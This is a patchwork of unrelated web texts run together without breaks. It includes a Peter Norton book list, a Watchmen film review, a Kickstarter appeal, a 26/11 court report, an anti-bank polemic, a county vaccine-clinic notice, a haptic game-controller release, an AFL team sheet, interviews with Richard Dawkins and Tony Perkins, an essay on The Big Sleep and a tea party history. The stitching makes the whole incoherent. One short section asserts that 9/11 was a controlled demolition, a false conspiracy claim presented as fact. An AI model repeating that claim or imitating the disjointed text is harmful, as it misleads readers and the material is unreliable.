Peter Norton's Complete Guide to Windows XP by Peter Norton, John Paul Mueller
Peter Norton's Upgrading And Repairing P Cs by Peter Norton, Michael Desmond
Peter Norton's Introduction to Computers: Essential Concepts by Peter Norton
Peter Norton's Maximizing Windows Nt Server 4 by Peter Norton
Peter Norton's Advanced DOS 6 by Peter Norton, Ruth Ashley, Judi N. Fernandez
Peter Norton's Network Security Fundamentals by Peter Norton, Mike Stockman
Peter Norton's Guide to Qanda 4 by Peter Norton, Dave Meyers
The Peter Norton's Introduction to Computers Windows NT 4.0 Tutorial with 3.5 IBM Disk by Peter Norton
Essential Concepts by Peter Norton
Peter Norton's Macintosh by Peter Norton
Word 2002: A Tutorial to Accompany Peter Norton's Introduction to Computers Student Edition with CD-ROM by Peter Norton
Peter Norton's Introduction to Computers MS-Works 4.0 for Windows 95 Tutorial with 3.5 IBM Disk by Peter Norton, Kim Bobzien
Peter Norton's Guide to Visual C++ [With CD (Audio)] by Peter Norton
Complete Guide to TCP/IP by Peter Norton, Doug Eckhart (Joint Author)
For years, fanboys of every age have demanded that the big-screen adaptation of Watchmen be an act of artistic fidelity on par with the restoration of the Sistine Chapel. In a literal sense, they may feel rewarded by Zack Snyder‘s teemingly ambitious, jam-packed movie version. A tall tale of fallen superheroes, set against a Doomsday Clock countdown to impending nuclear war, Watchmen, as a movie, serves up all (or most) of the graphic novel’s themes, layers, images, backstories, obfuscations, and self-conscious tough-guy pulp-noir mystique. Leaping from the alleys of Manhattan to the pink wilderness of Mars, it also has a feverish and deranged intricacy (which, to be honest, is the nice way to put it), and its key figures are not heroes in any conventional way. A few of them even act like the violently alienated sociopaths they are. Feel free to nitpick what Snyder has left out of Watchmen. It’s hard not to be impressed by what he has wedged in.
Yet even Watchmen fanatics may be doomed to a disappointment that results from trying to stay this faithful to a comic book. The opening-credit sequence has a marvelous audacity, as it packs in the story of how the Minutemen — masked crime fighters of the 1940s — gave rise to their more nihilistic counterparts in the ’50s. (The sequence is punctuated with historical events like the JFK assassination and set to the thrillingly recontextualized sounds of Bob Dylan‘s ”The Times They Are A-Changin’.”) But once the film proper begins, Snyder, who did such a terrific job of adapting the solemn Olympian war porn of 300, treats each image with the same stuffy hermetic reverence. He doesn’t move the camera or let the scenes breathe. He crams the film with bits and pieces, trapping his actors like bugs wriggling in the frame.
There are some angry bugs. We meet the Comedian (Jeffrey Dean Morgan), a laughing brute of a superhero, when he is murdered at home, in the first of many bone-breakingly vicious fight scenes. The film then picks up on Rorschach (Jackie Earle Haley), a seething outcast hidden behind a mask of Invisible Man bandages with roving inkblot features, as he seeks to uncover who’s bumping off his fellow crime fighters. Rorschach, speaking directly to the audience, sounds like Clint Eastwood reading the purpler sections of Travis Bickle’s diary, and when he’s unmasked, Haley, full of spitting fury and loathing, makes him a gripping hellion. He’s a far more vivid figure, in fact, than the Nite Owl (Patrick Wilson) or the sexy-wholesome Silk Spectre (Malin Akerman), who are like high school ingenues playing Clark Kent and Lois Lane. The most effective thing in the movie is Billy Crudup‘s soft-voiced portrayal of Dr. Manhattan, the towering blue radiation mutant who’s a lonely ironic humanoid, like 2001‘s HAL with nuked blood.
On the page, Watchmen was a paranoid, mind-tripping pastiche of everything from The Incredible Hulk to Naked Lunch. But when characters who are knowing throwbacks are literally brought to life on screen, they can seem more like half-hearted ripoffs. What gave the graphic novel its hint of metaphysical cachet is the way that it collapsed chronology. The ’40s blurred into the ’80s, the present spilled into a desolate abyss — and that telescoping of time became a metaphor for the inevitability of nuclear war. A no-future nihilism bled from the very grain of Moore and Gibbons’ pop vision of the 20th century. But that’s a real problem for the movie, since the Cold War nuclear fears of the ’80s never did come to pass. Watchmen isn’t boring, but as a fragmented sci-fi doomsday noir, it remains as detached from the viewer as it is from the zeitgeist. B-
See all EW movie reviews
More Watchmen from EW:
Watchmen: Inside the Making of the Film
Watchmen: 17 Portraits
I wanted to post here to make sure I hit anyone who still follows this RSS feed with some big news: I recently left my post at Medium editing The Nib and am searching for a new publisher. That search is going well and in the meantime I’m keeping myself busy.
We published over 2,000 comics there in the last two years and I wanted to collect the best of them in a book. I’ve launched a Kickstarter, “Eat More Comics: The Best of The Nib,” to raise $45,000 to print up a nice 300-page hardcover. As reward levels we have original art, signed prints and books from some of our creators. We’re over 60% of the way there but we still need a good chunk of cash to make this happen. You can pre-order the book now and help make it a reality. This thing is going to be out fast—in your hands by September!
Thirty-year-old Sayed Zabiuddin Ansari alias Abu Jundal made a verbal plea before Additional Chief Metropolitan Magistrate P S Rathod that he wanted to make a voluntary confession about his role in the attacks, sources in the Crime Branch, which is investigating the 26/11 case, said.
The magistrate explained to him the procedure of recording the confession and also informed him that his confessional statement could be used against him.
Jundal, sources said, replied in the affirmative when asked if he wanted to make his confession voluntarily.
In keeping with legal provisions, Jundal was told by the court that he would be given time to think whether he really wanted to give confession. He would be produced again before the court after two days and his statement will be recorded if he still wants to make the confession, sources said.
Jundal, who was hitherto in the custody of the Crime Branch, would now be lodged in solitary confinement at Arthur Road Central to ensure he is not influenced by anyone.
Held on the charge of participating in 26/11 attacks conspiracy, Jundal was earlier brought to the Esplanade court amid tight security and litigants and the media were asked to leave the courtroom.
Jundal, a native of Beed district of Maharashtra, was arrested in the 26/11 case by Mumbai police after he was brought here from Delhi where he had been apprehended in another case after being deported from Saudi Arabia in June.
Kasab and Jundal were yesterday interrogated together for at least one-and-a-half hours during which the lone surviving Pakistani perpetrator of 26/11 identified the latter as one of the conspirators.
... contd.
ALSO READ Need to probe all acquittals, Supreme Court orders states
The reason both the Democratic and Republican establishments are in full on panic mode about the rise of Donald Trump and Bernie Sanders is a deep seated fear that the plebs have finally woken up.
Democrats rail against big corporations, while Republicans rail against big government. This scheme has been used to successfully divide and conquer the public for decades while big government and big business successfully schemed to divert all wealth and power to an ever smaller minuscule segment of the population — themselves.
It took awhile, but the people are finally starting getting it and they are royally pissed off. One of the primary mechanisms for this historic elite theft has been the creation of a two-tiered justice system in which the rich, powerful and connected are never prosecuted for their criminality. Instead, the government actively protects them by pretending corporate entities commit crimes as opposed to individuals. Of course, this is impossible, but yet it’s how the government handles white collar crime. The Orwellian named “Justice Department” casually utilizes deferred prosecution agreements (DPAs), in which companies pay a little fine and the criminals themselves walk away with not just their freedom, but ill gotten monetary gains as well.
Nowhere is this most apparent than when it comes to the big banks. The individuals who work at these criminal cartels can literally do anything they want with total impunity. One of the most egregious examples of this was the $1.9 billion settlement arranged with HSBC for laundering Mexican drug cartel money and dealing with sanctioned countries. If you or I did this we’d be sitting in a concrete box eating porridge through a straw for the rest of our lives, but when “masters of the world” at big banks do it, the parent company just pays a slap on the wrist fine and life goes on. That’s how oligarch justice works.
Although the Department of Justice and HSBC thought the money laundering case was settled ancient history, a determined chemist from Pennsylvania is throwing a wrench into their plans and it could have major implications.
The Wall Street Journal reports:
WEST CHESTER, Pa.—When Dean Moore ran into roadblocks with a request for mortgage relief, he did what many people do: He sat down at his kitchen table to bang out an angry letter. The letter has thrust Mr. Moore, a chemist, and his wife, Ann Marie Fletcher-Moore, a part-time bookstore manager, into a high-stakes battle over whether HSBC Holdings PLC must release a secret report on its compliance with a $1.9 billion money-laundering settlement.
A “secret” report. You’ve got to be kidding me.
The disclosure would be the first ever for this type of case and would shine a light on an increasingly common practice for banks accused of breaking the law. Instead of being prosecuted, banks typically enter into settlements under which they often agree to be overseen by monitors whose detailed judgments are kept secret. Judge Gleeson’s order has the potential to dial back that confidentiality, opening a new channel of information that prosecutors say could threaten the viability of such settlements in future cases.
If you don’t get by now that America is a banana republic, there’s little hope for you.
HSBC and Justice Department prosecutors have opposed the release, saying it wouldn’t do much to help Mr. Moore with his mortgage predicament. Judge Gleeson, in his order to unseal the report, said that was irrelevant.
Big banks and the U.S. government are simply 100% in bed together. Constantly scheming to prevent citizens from learning the truth.
The bank is appealing the ruling, but already it may be having an impact. HSBC disclosed last week that the January report by independent monitor Michael Cherkasky found instances of potential financial crime and had “significant concerns” about the bank’s pace of progress in complying with the money-laundering settlement.
A legitimate government that cared about the people would want the public to know this, but not the U.S. government.
The Moores say the experience has been surreal. The couple lives in this Philadelphia suburb with their four children, two dogs and a 15-year-old rabbit and had never spent much time in court other than for jury duty. They have nevertheless held their own against a phalanx of lawyers from the British bank and the Justice Department. A recent hearing in a Brooklyn federal court “was like ‘Law and Order,’” said Mrs. Fletcher-Moore, who is 50 years old. HSBC admitted in its 2012 settlement that it failed to catch at least $881 million in drug-trafficking proceeds laundered through its U.S. bank and that its staff stripped data from transactions with Iran, Libya and Sudan to evade U.S. sanctions. The mortgage was administered by HSBC, and the Moores say they wrote to the bank starting in 2008 asking it to temporarily lower the 7% interest rate. They said the lender appeared receptive, only for its representatives to misplace documents needed to complete their application for a loan modification several times. Frustrated, the Moores researched the bank online last year and stumbled upon news of the money-laundering settlement and the monitor’s secret report. The Moores say they believe the report details faulty internal controls like those they encountered when trying to modify their loan. If his ruling stands, it would be “the first time we get to see what happens after a bank settles a prosecution,” said Brandon Garrett, a professor at University of Virginia’s law school who has studied the monitor system.
Which is exactly what the U.S. government doesn’t want people to see. HSBC and the Justice Department are still fighting to keep the report private and have appealed Judge Gleeson’s ruling to the Second Circuit Court of Appeals. An appeals court ruling could be months away. “I feel like a very small boat in a very large ocean,” Mr. Moore wrote at one point, in a letter responding to some of their arguments.
For more on the corrupt U.S. justice system, see:
How the Department of Justice is Actively Trying to Prevent Civil Asset Forfeiture Reform
Is the Justice Department Finally Ready to Jail Corporate Criminals?
Florida Man Sentenced to 2.5 Years in Jail for Having Sex on the Beach
Some Leaks Are More Equal Than Others – Hypocritical D.C. Insiders Line up to Defend General Petraeus from Prosecution
Some Money Launderers are “More Equal” than Others
Some Money Launderers are More Equal than Others Part 2 – CEO of BitInstant is Arrested
Child receiving immunization
Is your child up to date on his or her shots? Multnomah County will hold these special clinics to help families catch up on their immunizations before the Feb. 18, 2015 school exclusion day deadline. Clinics are:
Tuesday, Feb. 17 , Day Before School Exclusion Immunization Clinic , 9 a.m. to 3 p.m., Portland State Office Building. First Floor, 800 N.E. Oregon Street, Portland, OR 97232.
, , 9 a.m. to 3 p.m., Portland State Office Building. First Floor, 800 N.E. Oregon Street, Portland, OR 97232. Wednesday, Feb. 18, Day Of School Exclusion Immunization Clinic, 9 a.m. to 3 p.m., East County Services Building, Second Floor, 600 N.E. 8th Street, Gresham, OR 97030.
About 8,000 Multnomah County families received a final written notice this week reminding them that their children must be immunized or they will asked to leave school Feb. 18. This applies to children in all public, private, alternative schools, all preschools, Head Start programs, kindergartens and childcare facilities.
About 121,000 Multnomah County children must meet state immunization requirements. Last year, less than one percent of children were sent home on school exclusion day because they did not have complete records.
Families who received an exclusion letter should bring the letter - and their child’s immunization records - to their regular health provider or to one of the county clinics. Remember:
Students in grades seven through 12 now need a Tdap (tetanus-diptheria and pertussis (whooping cough) booster.
All children 18 months and older need a two-dose Hepatitis A vaccine.
Anyone claiming a non-medical exemption must meet the new state law at www.healthoregon.org/vaccineexemption.
“Immunizing children helps ensure good health now - and in the future,’’ says Dr. Paul Lewis, Multnomah County Health Officer. “Vaccines don’t just protect your child, they protect everyone, especially people who are too young or too ill to be immunized.”
To learn more:
Multnomah County Health Department at 503-988-3406 or visit www.multco.us/health/immunizations
Multnomah Education Service District at 503-257-1760 for information on public school student vaccination records
9/11: PBS lets the cat out of the bag Architects and engineers speak out Subscribe to Brasscheck TV Your e-mail address is kept absolutely private
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What if...
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What if a decision was made at the highest levels that the US War Machine (the Pentagon and its suppliers) had to be preserved at all costs...even if those costs included assassinating a US president and popular presidential candidate (the Kennedy brothers) and murdering over 3,000 people in cold blood (9/11)?
Speculation?
Perhaps, but what is not speculation and what has been suspect from Day One is that there is no way on earth that fire could have caused three modern steel framed buildings to collapse in on themselves so perfectly that the debris fit into a contained footprint.
Who did did it and how was it done?
I don't know, but that is did not happen the way we've been told, I have no doubt.
Whoever crafted the story is lying and liars generally lie to cover up the real story.
Film highlights (new ones being added all the time, check back)
It was a controlled demolition. Period.
9/11: How they did it
University of Utah engineers designed a new kind of video game controller that not only vibrates like existing devices, but pulls and stretches the thumb tips in different directions to simulate the tug of a fishing line, the recoil of a gun, or the feeling of ocean waves.
"I'm hoping we can get this into production when the next game consoles come out in a couple of years," says William Provancher, an associate professor of mechanical engineering who is in Vancouver, British Columbia, demonstrating the new game controller with his students.
They are demonstrating the device and presenting studies about it during the Institute of Electrical and Electronics Engineers' Haptics Symposium. Haptics deals with research about touch, just as optics deals with vision. A patent is pending on the device.
The first haptic or touch feedback in game controllers came in 1997 with the Nintendo64 system's rumble pack that makes the hands vibrate using an off-balance motor to simulate the feel of driving a race car on a gravel road, flying a jet, or dueling with Star Wars light sabers, Provancher and colleagues write.
His new controller does something additional: it delivers directional cues to the player by stretching the skin of the thumb tips in different directions.
"We have developed feedback modes that enhance immersiveness and realism for gaming scenarios such as collision, recoil from a gun, the feeling of being pushed by ocean waves, or crawling prone in a first-person shooter game," Provancher says.
The latest game controller prototype looks like controllers for Microsoft's Xbox or Sony's PlayStation but with an addition to the controller's normal thumb joysticks, on which the thumbs are placed and moved in different directions to control the game. In the new controller, the middle of each ring-shaped thumb stick has a round, red "tactor" that looks like the eraser-head-shaped IBM TrackPoint or pointing stick now found on a number of laptop computer brands.
If a gamer's avatar runs into a wall, the tactor under the thumb moves back to mimic impact. Both tactors can move from side to side to mimic ocean waves. And when a fish bites in one of the games the researchers tried, "as the fish jerks on the line, you can feel the tactor jerk under your thumb," Provancher says.
Video games commonly are designed so the left thumb stick controls motion and the right controls the player's gaze or aim. With the new controller, as a soldier avatar crawls forward, the player pushes the left thumb stick forward and feels the tactors tugging alternately back and forth under both thumbs, mimicking the soldier crawling first with one arm, then the other.
Provancher also hopes to adapt the new game controller design for use as a smart phone peripheral device. A phone would fit into the device with game-controlling thumb sticks and tactors on each side of the phone.
Of thumbs and the new game controller Smartphones provide an analogy for the new advance in game controllers, Provancher says. Early smart phones used vibrations only when the phone rang. Current models use more sophisticated feedback: A vibration with each touch to help users improve their accuracy when they use a touch-screen keyboard.
Provancher's previous research showed that skin-stretch devices on a steering wheel could stretch the index finger tips left or right to tell drivers to turn left or right—and did so just as accurately as a navigation system's computerized voice. His latest research is more than fun and games because "by placing skin-stretch feedback in a game controller, it creates a nice testing environment for understanding human perception and cognition," he says.
Indeed, a critical question in determining if the new game controller would work dealt with how players perceived front-back and left-right tugs at their thumb tips when the thumbs were angled inward as they are in a typical Xbox or PlayStation controller.
A study analyzing how gamers perform with the new, thumb-tip feedback device was conducted by Provancher, computer science doctoral student Ashley Guinan, computer science master’s degree student Rebecca Koslover and mechanical engineering master's student Nathaniel Caswell. The research was funded by the National Science Foundation and the University of Utah.
The study, which Guinan was presenting during the Haptics Symposium, found that gamers' brains made the necessary mental rotation of the directional tugs so they could perform just as well if their thumbs were angled as if their thumbs were straight.
Provancher says the angled thumb position is better ergonomically, both in terms of comfort and of ease in pushing forward with angled thumbs.
He says that his future research will focus on details of how to provide skin-stretch feedback effectively at the same time a game also produces sounds, sights, and vibrations.
Talented, tall utility Callum Moore has been named to make his senior debut with Richmond in Saturday’s match against St Kilda at the MCG.
Moore, who played junior football at Aberfeldie and the Calder Cannons, was the Tigers’ first pick (No. 12 overall) in the AFL’s rookie draft late last year.
The 193cm, 19-year-old was elevated from Richmond’s rookie list to the primary list today after producing some impressive performances in the Tigers’ VFL side at both ends of the ground.
See the St Kilda team for Saturday afternoon's clash at the MCG
He has shown some exciting traits with his speed, agility, leap, contested marking ability and fierce attack on the football.
Moore is Richmond’s seventh AFL debutant this season, joining Nathan Broad, Jason Castagna, Adam Marcon, Oleg Markov, Daniel Rioli and Jayden Short.
Another Round 22 selection highlight for the Tigers is the return to the line-up of versatile tall Todd Elton for just his third senior appearance in five years at Punt Road.
Elton made his AFL debut in Round 14, 2012 against Adelaide at AAMI Stadium and then played his second game in Round 7, 2015 against Collingwood at the MCG.
The 197cm, 100kg, 22-year-old has gained another senior opportunity on the back of some recent strong efforts up forward at VFL level.
Get all the match day information for Saturday afternoon's clash against St Kilda at the MCG
There are two other changes to the Tigers’ team for Saturday afternoon’s clash, with mature-age midfielder Kane Lambert and promising, young utility Connor Menadue being recalled.
Out of the side go Anthony Miles, Ty Vickery, Ben Lennon and Nathan Drummond, who have all been omitted.
Richmond’s three emergencies for the match are Nathan Broad, Daniel Butler and Adam Marcon.
The Round 22 Richmond team
B: Rance, Astbury, Grimes
HB: Short, Hunt, B. Ellis
C: A. Moore, Edwards, Cotchin
HF: Martin, Rioli, Markov
F: Riewoldt, Lloyd, Lambert
R: Hampson, Grigg, Vlastuin
IC: Menadue, Houli, C. Moore, Elton
Em: Broad, Butler, Marcon
In: Lambert, C. Moore, Menadue, Elton
Out: Lennon, Miles, Vickery, Drummond
Richard Dawkins is emeritus professor of evolutionary biology at the University of Oxford and the author of several books, including The Selfish Gene and The God Delusion. His most recent is An Appetite for Wonder: The Making of a Scientist, part one of a two-part memoir. He has inspired millions with his popular science books, yet also drawn fire for controversial remarks—particularly on religion. Rowan Hooper wanted to know how he feels about his public image and if, at 72, he worries his role as the world’s most famous atheist will eclipse his scientific legacy.
Rowan Hooper: You have just published part one of your memoir. Is it intended as a humanizing exercise, to show you’re not a mean, nasty baddie?
Richard Dawkins: I don’t know how many people think I’m mean. I’m certainly not and I didn’t consciously set out to do any image-cleaning or anything. I like to think it’s an honest portrayal of how I really am. And I hope it is human, yes.
RH: Nevertheless, there’s a gulf between the real you and the caricature Richard Dawkins. How has that come about?
RD: I have two theories which are not mutually exclusive. One is the religion business. People really, really hate their religion being criticized. It’s as though you’ve said they had an ugly face, they seem to identify personally with it. There is a historical attitude that religion is off-limits to criticism.
Also, some people find clarity threatening. They like muddle, confusion, obscurity. So when somebody does no more than speak clearly it sounds threatening.
RH: You definitely polarize people. How do you feel about the hate mail you get?
RD: I did a film that’s on YouTube of me reading hate mail with a woman playing the cello in the background. Sweet strains to contrast with this awful, “you fucking wanker Dawkins” and so on. Making comedy of it is a pretty good way of absorbing it.
RH: Do you still get fan mail too?
RD: Yes. The hate mail is illiterate, but the opposite is actually very moving and I get very, very gratifying responses. I just got back from a tour of the United States promoting this book, and I noticed even more forcibly than before the enormous numbers of people who come into the book-signing queue, and they nearly always say something like “I became a scientist because of you, you’ve changed my life.”
RH: Has what drives you changed over the years?
RD: It hasn’t changed: a love of truth, a love of clarity, a love of the poetry of science. Insofar as I show hostility to alternatives, superstition, and so on, it’s because they are sapping education and depriving young people of the true glory of the scientific worldview—I care especially about children in this case. It’s tragic to see children being led into dark, pokey little corners of medieval superstition.
RH: Would you rather be remembered for explaining science or taking on religion?
RD: To me they amount to the same thing—they are different sides of the same coin. But I suppose I’d rather be remembered for explaining science. I would be upset if people dismissed my science because of the religion.
RH: You have turned your attention to Islam recently. Why is that?
RD: I think my love of truth and honesty forces me to notice that the liberal intelligentsia of Western countries is betraying itself where Islam is concerned. It’s stymied by the conflict between being against misogyny and discrimination against women on the one hand, and on the other by the terror of being thought racist—driven by misunderstanding Islam as though it were a race. So people who would normally speak out against the maltreatment of women don’t do it. I do fret about what I see as a betrayal by my own people, the nice liberals.
RH: Another battle of yours has been against group selection—the idea that evolution works by selecting traits that benefit groups, not genes. You destroyed that paradigm, but then it came back again.
RD: Something else came back under the same name. If you look carefully, it turns out to be things like kin selection rebranded as group selection. That irritates me because I think it is wantonly obscuring something that was actually rather clear.
I think part of why it came back is political. Sociologists love group selection, I think because they are more influenced by emotive evaluations of human impulses. I think people want altruism to be a kind of driving force; there’s no such thing as a driving force. They want altruism to be fundamental whereas I want it to be explained. Selfish genes actually explain altruistic individuals, and to me that’s crystal-clear.
RH: What subjects currently interest you in evolutionary biology?
RD: I’m fascinated by the way molecular genetics has become a branch of information technology. I wonder with hindsight whether it had to be that way, whether natural selection couldn’t really work unless genetics was digital, high-fidelity, a kind of computer science. In other words, can we predict that, if there’s life elsewhere in the universe, it will have the same kind of high-fidelity digital genetics as we do?
RH: When we are able to muck around with our own genes more, where do you think it will take us?
RD: The funny thing is that if you take the two parts of the Darwinian formula, mutation and selection, we’ve been messing around with the selection part with just about every species—except our own. We have been distorting wolves to Pekingeses and wild cabbages to cauliflowers, and making huge revolutions in agricultural science. And yet with a few exceptions, there have been no attempts to breed human Pekingeses or human greyhounds.
Now the mutation half of the Darwinian algorithm is becoming amenable to human manipulation, people have jumped to asking questions—what’s going to happen when we start tinkering with genes?—while sort of forgetting that we could have been tinkering with selection for thousands of years and haven’t done it. Maybe whatever has inhibited us from doing it with selection will do the same with mutation.
RH: Do you believe there is a genetic basis to irrationality?
RD: It would be very surprising if there wasn’t a genetic basis to the psychological predispositions which make people vulnerable to religion.
One idea about irrationality that I and various other people have put forward is that the risks we faced in our natural state often came from evolved agents like leopards and snakes. So with a natural phenomenon like a storm, the prudent thing might have been to attribute it to an agent rather than to forces of physics. It’s the proverbial rustle in the long grass: It’s probably not a leopard, but if it is, you’re for it. So a bias towards seeing agency rather than boring old natural forces may have been built into us.
That may take quite a lot of overcoming. Even though we no longer need to fear leopards, we inherit the instincts of those who did. Seeing agency where there isn’t any is something that may have been programmed into our brains.
RH: If we are irrational, perhaps one of the reasons people bristle at you is they feel their nature is under attack.
RD: We accept that people are irrational for good Darwinian reasons. But I don’t think we should be so pessimistic as to think that therefore we’re forever condemned to be irrational.
PERKINS: Elizabeth, what the legislation is in North Carolina is, is simply say, for public safety purposes, we're not going to allow an ordinance in Charlotte, which would require private businesses and others to open up their restroom facilities, locker rooms, so that a man could go into a woman's bathroom, or where girls are at. It's simply a public safety issue.
Tony, thank you so much for joining us and helping us get a better understanding of a lot of these bills that we're seeing. I want to start in North Carolina. What do you find unique about this bill, and what would the consequences be?
PRANN: Critics argue these bills are legalized discrimination. So what are the consequences of these types of laws and what is fact and what is fiction? Joining us to get a better understanding, Tony Perkins from the Family Research Council.
So a man who transitioned to a woman and wanting to pee poses a threat? Really? To whom, exactly?
PERKINS: So that clearly, that was simply saying the government cannot force businesses to do that. It does not prohibit businesses if they want to do it on their own, and that's the hypocrisy. You see businesses like PayPal weighing in, saying they're going to boycott, they're not going to do business in North Carolina, when they don't even have these policies within their own private businesses that they're free to do.
PRANN: There are thirteen states considering legislation according to our brain room relating to bathroom usage, but they are different. They're the same, but different. They're sort of a plaid, if you will if that makes sense of reasonings behind them. Some are public safety. Others, religious liberty. How do you clarify that for folks and why is there such a misunderstanding for some of these laws that are being presented?
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PERKINS: Well, this comes in the wake of the Supreme Court last June in redefining marriage and opening the door to all kinds of public policy problems. And in Mississippi for instance last week, signed into law a religious liberty bill. A different that North Carolina. What it does is it says the government, and contrary to what people are saying, that this allows discrimination, it actually prohibits discrimination. It prohibits the government from discriminating against a religious organization or an individual based upon their religious beliefs.
PRANN: But PayPal says it is, and the Governor of Georgia says it is. What do you say to them?
PERKINS: Well, I say for instance, you've got a number of nonprofit, faith based adoption agencies for instance, that work with the states who place children in homes, that they have a faith statement. They believe that marriage, as the president did just a few years ago, is the union of a man and a woman.
What this does is prohibits the state from taking away their tax exemption, or not working with them to place children into a position or into a home, or it would prohibit the state from taking away the tax exemption of a church, because the church belief that marriage is a union of a man and a woman. So what it does, it keeps the state from being used as the club to beat people into submission, and to abandon their deeply held belief.
PRANN: Mississippi has certainly more of a sweeping law. Can you explain to me why Mississippi has probably a larger consequences, and where do we draw the line? Where do states and lawmakers draw the line?
PERKINS: Again, Elizabeth, what Mississippi does, it does not take away any rights from someone who says they believe in same-sex marriage, or they want a same-sex marriage. It doesn't take anything away from them. What it does is it keeps the state from punishing someone because they believe that marriage is still the union between a man and a woman.
So, it would prohibit the state from affecting their tax status, or from denying them, let's say they're in the business of helping drug addicts, and they're a faith based organization, because they believe that marriage is a union of a man and a woman, they couldn't be denied a state contract that they help teenagers.
— The Big Sleep, Raymond Chandler
As I’m sure I’m not the first one to point out, The Big Sleep is obsessed with queer themes, both explicit and implicit. One of the novel’s central mysteries is, precisely, homosexuality. The relationship between a purveyor of dirty books named Geiger and his male lover is at the root of a number of the murderous confusions and complications in the early part of the narrative.
The novel treats its avowedly gay men with a casual disdain; the decadently portly Geiger is a recognizable stereotype, while his more masculine lover is dismissed with a sneer by Philip Marlowe, who comments that fags can’t hit hard, no matter what they look like. But the homophobia is belied by — or perhaps meant to excuse — the way in which intense bonds between putatively heterosexual men form the emotional core of the novel. As the quotation above indicates, the novel is in large part driven by the love-at-first-sight simpatico between Marlowe and his client, General Sternwood. That sympatico is echoed in Sternwood’s similar passion for his missing son-in-law, Rusty Regan, whom he ultimately asks Marlowe to find.
Moreoever, Regan and Marlowe are doubled not only because of their place in General Sternwood’s affections, but because of their imperviousness to heterosexual escapades. Regan, who married the General’s daughter Vivian Sternwood, was also, we learn at the novel’s conclusion, propositioned by the general’s other daughter, Caroline. When Regan refused her, she killed him. Later chronologically (though earlier in the novel), Caroline shows up in Marlowe’s room, naked, and attempts to seduce him. He kicks her out, she calls him an unrepeatable name which is probably “faggot” — and later she tries to kill him.
Marlowe and Regan are “soldiers”, then, because they (a) are beloved of the General and (b) do not lust after his corrupting daughter. The appellation “faggot” is carefully erased and thereby emphasized; it is Marlowe’s unmentionable sin which is also his unmentionable distinction. By the same token, Vivian Regan’s unnaturalness is reflected in the fact that she cares about her sister more than her husband; and so tries to cover up the latter’s murder to protect the former. The whole plot, then, is powered by same-sex investments and love. In comparison, most of the heterosexual attachments in the novel — such as those between Victoria and Rusty — seem decidedly half-assed. Marlowe’s main romantic interest is barely a flicker in the novel; she appears late, wearing a platinum wig to cover her short-cropped butch cut, which prompts Marlowe to give her the campy appellation Silver-Wig. The supposed love interest, then, is effectively a false front covering gender deviance covering a nonentity. It’s as if Chandler is afraid that if he spent too much time on her, folks might start to realize that she isn’t a “she” at all.
It would be fairly easy to do an Eve Sedgwick inspired reading and draw the lines between Chandler’s romanticization of homoerotic bonds between men and his homophobia and misogyny. For Sedgwick, it would certainly be no surprise that a book which writes with such repressed approval of soldiers eying each other should figure evil as a giggling vindictive ultra-femme madwoman. The clean passion of men for men is always threatened by these atrociously pleasurable stirrings of femininity.
It’s also interesting to note, though, that there may be a link between the novel’s queerness and and its reputation. The Big Sleep is often thought of as one of the very best examples of detective fiction; it’s virtually attained high art status, in a lot of ways. That status is, I’d argue, not despite the use of homosexuality, but because of it.
In his 2011 book Art and Homosexuality, Christopher Reed argues that the avant garde has long used markers of homosexuality as signs of daring individualism. Sexual deviance can show that an artist is an original, unhindered by convention or bourgeois provincialism. Moreover, the mechanism of the closet can provide a powerful appearance of mastery and genius. The artist, through the deployment of homosexual codes and references, shows himself (or herself) to be “in the know”, and that knowledge is the mark of queer genius — an unusual and unconventional wisdom.
All of this, I think, can be related to the critical success of The Big Sleep. Chandler’s bleak, decadent vision is in large part a bleak decadence of deviant sexuality — the filthy books sold by the gay man; the old General pining for his young acquaintance while rotting among the orchids; Vivian’s tragic love for her unnatural sister. The awareness of and manipulation of homosexuality makes the novel daring, adult, and knowing — an avant garde provocation rather than (or in addition to) a simple genre fable.
Moreover, the novel’s projection of genius is accomplished in large part through a manipulation of tropes associated with gayness. Chandler’s stylistic hallmarks — the careful vivid descriptions, the quick turnabout wit — could almost be lifted from Oscar Wilde, as could the obsession with ugly, hidden truths. The Big Sleep and The Picture of Dorian Gray are different mainly in that Chandler nods more explicitly to the obvious homosexual themes. In both cases, though, there is the impression of dazzling surface facility and deep unsettling knowledge — a sense of idiosyncratic and/or perverse brilliance propelled by the mechanics of the closet.
The Tensions Rise During the George W. Bush Years
While the tea party may have formerly started after Obama took office, anger over federal spending and a rapidly bloating government began to surface during the big-spending years of the George W. Bush administration. While Bush scored points with conservatives on his tax policies, he also fell into the trap of spending too much money that didn't exist. He pushed for a large expansion of entitlements and, most dangerously, continued the Clinton-era policies that led to the collapse of the housing market and financial industries.
While conservatives opposed these big spending measures, it is also true that they lagged far behind their liberal-counterparts in vocalizing anger, showing up at Capitol Hill to protest, or rallying thousands of people at any given time to support a cause or oppose a policy. Until the rise of the tea party, the conservative idea of activism was to shut down the congressional switchboard. Yet despite one disappointment after the next from our elected leaders, voters continued to send the same people back year after year. It would take a major economic crisis to help
Sarah Palin Rallies a Crowd
Prior to the 2008 elections, it seemed as though conservatives had no clue how to rally a crowd around a cause. While they had their moments — opposing Bush's immigration policies and Supreme Court nominee Harriet Miers to name two--a real movement was hard to come by. But in 2008, John McCain selected Sarah Palin to be his vice-presidential candidate and suddenly the Republican base did something they never really did before: they showed up.
When Palin joined the Republican ticket, people suddenly started attending rallies. McCain events had to be moved to larger venues. Rather than attracting hundreds of people like McCain had been doing, Palin was attracting thousands instead. Palin was hard-hitting, despite being seemingly restrained by the establishment. She gave one of the greatest convention speeches ever, where she hit out at Barack Obama and saw her popularity soar. She connected with people. And while she was eventually destroyed and rendered ineffective during the 2008 campaign, her ability to actually get thousands of people to rally for a cause would jump-start the future tea party movement, and she would eventually become the top draw at future tea party events nationwide.
Rick Santelli Delivers a Message
Shortly after his inauguration in January of 2009, President Obama began pushing the American Recovery and Reinvestment Act, a package costing close to $1 trillion. Already infuriated with the final years of the Bush administration that saw multibillion-dollar bailouts and payoffs, conservative outrage of the fiscal insanity was escalating rapidly. After the package passed, CNBC personality Rick Santelli took to the airwaves to deliver what would be the final spark to ignite the tea party flames.
In what turned out to perfectly summarize tea party sentiment, Santelli took to the floor of the Chicago Stock Exchange and stated "the government is promoting bad behavior... This is America! How many of you people want to pay for your neighbor's mortgage that has an extra bathroom and can't pay their bills? Raise their hand." When the floor traders started booing the government policies, Santelli dropped the "President Obama, are you listening?" line.
